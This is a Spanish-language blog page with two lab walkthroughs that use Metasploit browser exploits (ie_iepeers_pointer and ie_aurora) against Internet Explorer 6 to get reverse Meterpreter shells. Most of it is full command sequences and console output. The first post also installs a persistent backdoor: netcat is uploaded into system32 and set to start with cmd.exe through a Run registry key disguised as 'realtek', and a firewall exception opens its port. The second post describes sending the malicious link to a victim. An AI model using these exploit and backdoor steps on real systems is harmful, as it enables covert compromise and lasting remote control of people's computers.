Mostrando entradas con la etiqueta iexplorer. Mostrar todas las entradas
Mostrando entradas con la etiqueta iexplorer. Mostrar todas las entradas

lunes, 22 de marzo de 2010

Laboratorio - Metasploit - Backdor Persistente + Exploit ie_iepeers_pointer

El 10 de marzo me llego un mail de Uno al Dia, informando el nuevo 0-day de Internet Explorer, que ataca a las versiones 6 y 7, las versiones 5 y 8 no son afectadas.
Como contramedida seria los que usan IE migrar totalmente hacia la version 8. Estadisticamente de 100 personas aprox. 20 estarian usando las versiones 6 y 7 de de IE, les dejo una imagen



El exploit es un BOF que ataca a la libreria ie_iepeers pudiendo ejecutar codigo arbitrario con privilegios del usuario que esta ejecutando el navegador.
Para poder usarlo desde el metasploit antes realizen un update al freamwork.

#msfupdate

Comenzando

Este post va en dos partes primero el ataque con el exploit ie_iepeers, y luego subir un netcat y dejarlo como backdor persistente en la victima.

Herramientas
Como laboratorio tengo un Debian 5.0 como sistema anfitrion, Windows XP SP 3 - Internet Explorer 6.0 corriendo como sistema huesped, VirtualBOX 3.1.4 r57640, Metasploit Framework Version: 3.3.4-de

Primer Parte
Bueno la carga de los datos es exactamente igual que la forma donde mostre en el post anterior de Metasploit LINK, mostrare todo junto desde la eleccion del exploit, seteo de variables hasta lanzar el exploit.




Magno:/home/magno# msfconsole

_
| | o
_ _ _ _ _|_ __, , _ | | __ _|_
/ |/ |/ | |/ | / | / \_|/ \_|/ / \_| |
| | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
/|
\|





=[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 320 exploits - 99 auxiliary
+ -- --=[ 217 payloads - 20 encoders - 6 nops
=[ svn r8878 updated today (2010.03.22)

msf > use exploit/windows/browser/ie_iepeers_pointer
msf exploit(ie_iepeers_pointer) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ie_iepeers_pointer) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf exploit(ie_iepeers_pointer) > set SRVHOST 192.168.56.1
SRVHOST => 192.168.56.1
msf exploit(ie_iepeers_pointer) > set URIPATH /
URIPATH => /
msf exploit(ie_iepeers_pointer) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 192.168.56.1 yes The local host to listen on.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH / no The URI to use for this exploit (default is random)


Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process
LHOST 192.168.56.1 yes The local address
LPORT 4444 yes The local port


Exploit target:

Id Name
-- ----
0 Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0


msf exploit(ie_iepeers_pointer) > exploit
[*] Exploit running as background job.
msf exploit(ie_iepeers_pointer) >
[*] Started reverse handler on 192.168.56.1:4444
[*] Using URL: http://192.168.56.1:8080/
[*] Server started.
Vemos que el atacante tiene como ip 192.168.56.1, ahora quedaria que la victime ingrese a la direccion http://192.168.56.1:8080, el cual es la pagina maliciosa hecha por el metasploit, donde si cumple los requisitos de dicho exploit se ejecutara el payload en la maquina victima.

Entonces ingresamos





En la consola del metasploit podemos ver como se ejecuto y tenemos una sesion de meterpreter.



msf exploit(ie_iepeers_pointer) >
[*] Started reverse handler on 192.168.56.1:4444
[*] Using URL: http://192.168.56.1:8080/
[*] Server started.
[*] Sending Internet Explorer iepeers.dll Use After Free to 192.168.56.101:1034...
[*] Sending stage (748032 bytes)
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:1035)
[*] Session ID 1 (192.168.56.1:4444 -> 192.168.56.101:1035) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (1364)
[*] Spawning a notepad.exe host process...
[*] Migrating into process ID 188
[*] New server process: notepad.exe (188)

msf exploit(ie_iepeers_pointer) > sessions -l

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter VICTIMA-55919B2\victima 2 @ VICTIMA-55919B2 192.168.56.1:4444 -> 192.168.56.101:1035

msf exploit(ie_iepeers_pointer) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer: VICTIMA-55919B2
OS : Windows XP (Build 2600, Service Pack 3).
Arch : x86
Language: es_ES
meterpreter >




Segunda Parte

Una vez obtenido una sesion lo que vamos hacer es interactuar con la victima con el meterpreter. El proceso de este backdor es muy simple consisten en subir el netcat dejando en escucha un puerto con una cmd.exe , y colocando una exepcion en el firewall ya que la conexion sera de tipo bind.

Subimos el netcat
Para ello tenemos que tener el netcat para windows, yo lo tengo en la carpeta de mi /home/ y lo subiremos en la carpeta de system32, la sentecia quedaria asi.





meterpreter > upload /home/magno/nc.exe c:\\windows\\system32
[*] uploading : /home/magno/nc.exe -> c:\windows\system32
[*] uploaded : /home/magno/nc.exe -> c:\windows\system32\nc.exe


Luego agregaremos una clave en el registro de windows para que arranque netcat escuchando el puerto 1234 con el cmd.exe, de forma daemon -d.



meterpreter > reg setval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
-v realtek -d 'C:\Windows\System32\nc.exe -L -d -e cmd.exe -p 1234'

Successful set Hacked.


Ahora nos quedaria agregar una exepcion en el firewall de windows, de la victima, para ello pedismos una shell en el metrpreter y ejecutamos los comandos como se muestran.



meterpreter > execute -f cmd.exe -i -H
Process 560 created.
Channel 3 created.
Microsoft Windows XP [Versi�n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\victima 2\Escritorio>netsh firewall add portopening ALL 1234 "c:\windows\system32\nc.exe"
netsh firewall add portopening ALL 1234 "c:\windows\system32\nc.exe"
Aceptar


C:\Documents and Settings\victima 2\Escritorio>netsh firewall show portopening
netsh firewall show portopening

Configuraci�n de puerto para el perfil Est�ndar:
Puerto Protocolo Modo Nombre
-------------------------------------------------------------------
1234 TCP Habilitar c:\windows\system32\nc.exe
1234 UDP Habilitar c:\windows\system32\nc.exe


C:\Documents and Settings\victima 2\Escritorio>^C
Terminate channel 3? [y/N] y
meterpreter > reboot
Rebooting...


El comando netsh nos permite setear configuraciones del firewall de windows, lo que hacemos es agregar una exepcion para el programa netcat, en el puerto 1234, para UDP y TCP, y como muestra despues podemos ver que estan colocadas las expeciones con el comando netsh firewall show portopening
Apretamos Crtl + c, no da el meterpreter y reiniciamos la computadora de la victima.
Ahora Fijense como la victima esta escuchando el puerto 1234




Solamente nos queda verificar e ingresar con el netcat a la victima de esta forma.







Eso es todo, Saludos


martes, 9 de febrero de 2010

Laboratorio -- Metasploit - Exploit ie_aurora


Bueno creo que todos deben conocer del 0 day que tanto se hablo en estos ultimos tiempos sobre IE, lo que lograba un BOF pudiendo inyectar codigo arbitrario obteniendo una shell, aunque no todos son vulnerables hay una tablita que muestra que tan bien estan parados algunas versiones de windows conjuntamente con la version de IE, mas ahora sabiendo que los antivirus lo detectan..



El laboratorio se compone por una Virtual Machin ( VirtualBox, en el proximo post voy a explicar como intalarlo con yapa de Hacking! ) que tiene intalado un Windows XP SP3 con internet explorer Version 6.0, el cual es totalmente vulnerable. Por suerte es muy raro encontrar clientes navegando con esa version, pero .... :). Je..



Comenzando

Primero entonces nesesitamos el metasploit, lo podemos descargar desde aqui, busquen su arquitectura para linux hay de 32 bit y 64 bit (Yo me descargue este framework-3.3.3-linux-x86_64.run), tambien esta para windows pero el ultimo que baje no tenia el exploit aurora, pero se le puede agregar descargando el archivo con estension rb y colocarlo en la carpeta de exploit/windows/browser que seria lo ideal. Aqui el exploit.
Una vez intalado el metasploit, y que todo haya salido bien ( En linux nesesitamos intalar ruby ), nos dirigimos a la consola de metasploit.

/home/usuario# msfconsole



                                  _       _
_ | | (_)_
____ ____| |_ ____ ___ ____ | | ___ _| |_
| \ / _ ) _)/ _ |/___) _ \| |/ _ \| | _)
| | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__
|_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___)
|_|


=[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 320 exploits - 99 auxiliary
+ -- --=[ 217 payloads - 20 encoders - 6 nops
=[ svn r8438 updated yesterday (2010.02.09)

msf >


Una vez dentro de la consola de Metasploit, tenemos que elegir el exploit a utilizar


msf > use windows/browser/ie_aurora
msf exploit(ie_aurora) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host to
listen on.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH no The URI to use for this exploit (default is random)


Exploit target:

Id Name
-- ----
0 Automatic


Una vez cargado el exploit con el comando use, podemos ver los argumentos que nesesita el exploit para poder funcionar con el comando show options.
Usaremos un PAYLOAD de reverse shell, para ello colocamos lo que sigue.

 msf exploit(ie_aurora) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

Bien empezamos a llenar los argumentos tanto del Payload como del EXPLOIT



msf exploit(ie_aurora) > set LHOST 190.18x.xxx.xxx
LHOST => 190.18x.xx.xxx
msf exploit(ie_aurora) > set URIPATH /
URIPATH => /
msf exploit(ie_aurora) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host to listen on.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH / no The URI to use for this exploit (default is random)


Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process
LHOST 190.18x.xx.xxx yes The local address
LPORT 4444 yes The local port


Exploit target:

Id Name
-- ----
0 Automatic


En la pantalla se ve como se setearon los valores cargados LHOST vendria a ser la ip del atacante. Largamos el exploit


msf exploit(ie_aurora) > exploit
[*] Exploit running as background job.
msf exploit(ie_aurora) >
[*] Started reverse handler on 190.18x.xx.xxx:4444
[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://190.18x.xx.xxx:8080/
[*] Server started.


El servidor lo tengo corriendo en la IP del argumento LHOST en el puerto 8080 y tendremos una reverse shell por el puerto 4444 :).
Ahora mandamos el enlace a la victima, y esperamos que ingrese.


Veamos nuestra consola de metasploit :)



[*] Sending Microsoft Internet Explorer "Aurora" Memory Corruption to client 190.18x.xx.xxx
[*] Sending stage (725504 bytes)
[*] Meterpreter session 1 opened (190.18x.xx.xxx:4444 -> 190.18x.xx.xxx:51513)
sessions -l

Active sessions
===============

Id Description Tunnel
-- ----------- ------
1 Meterpreter 190.18x.xx.xxx:4444 -> 190.18x.xx.xxx:51513

msf exploit(ie_aurora) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer: VICTIMA
OS : Windows XP (Build 2600, Service Pack 3).
Arch : x86
Language: es_ES




Vemos que tenemos la session con la victima, que tiene un Windows XP SP3.
Ahora vamos a la shell remota que es lo mejor :)


meterpreter > shell
Process 812 created.
Channel 1 created.
Microsoft Windows XP [Versi�n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Victima 10\Escritorio>hostname
hostname
victima

C:\Documents and Settings\Victima 10\Escritorio>


Solucion

Navegar con un antivirus para este exploit seria lo mejor el NOD32 lo detecta y no deja inyectar, tambien no usar un IE explorer anticuado asi como el 6.x que fue hecho en esta POC. Mientras pasen cosas parecidas dejar de utilizar el software defectuoso hasta que la Empresa propietaria del mismo largue el parche, para cada programa siempre hay otro que realiza la misma accion, pudiendo elegirlo a ese temporarlmente.



Referencias:
http://blog.metasploit.com/2010/01/reproducing-aurora-ie-exploit.html

http://foro.elhacker.net/hacking_avanzado/metasploit_0day_ie_exploit_ieaurora-t281678.0.html

Saludos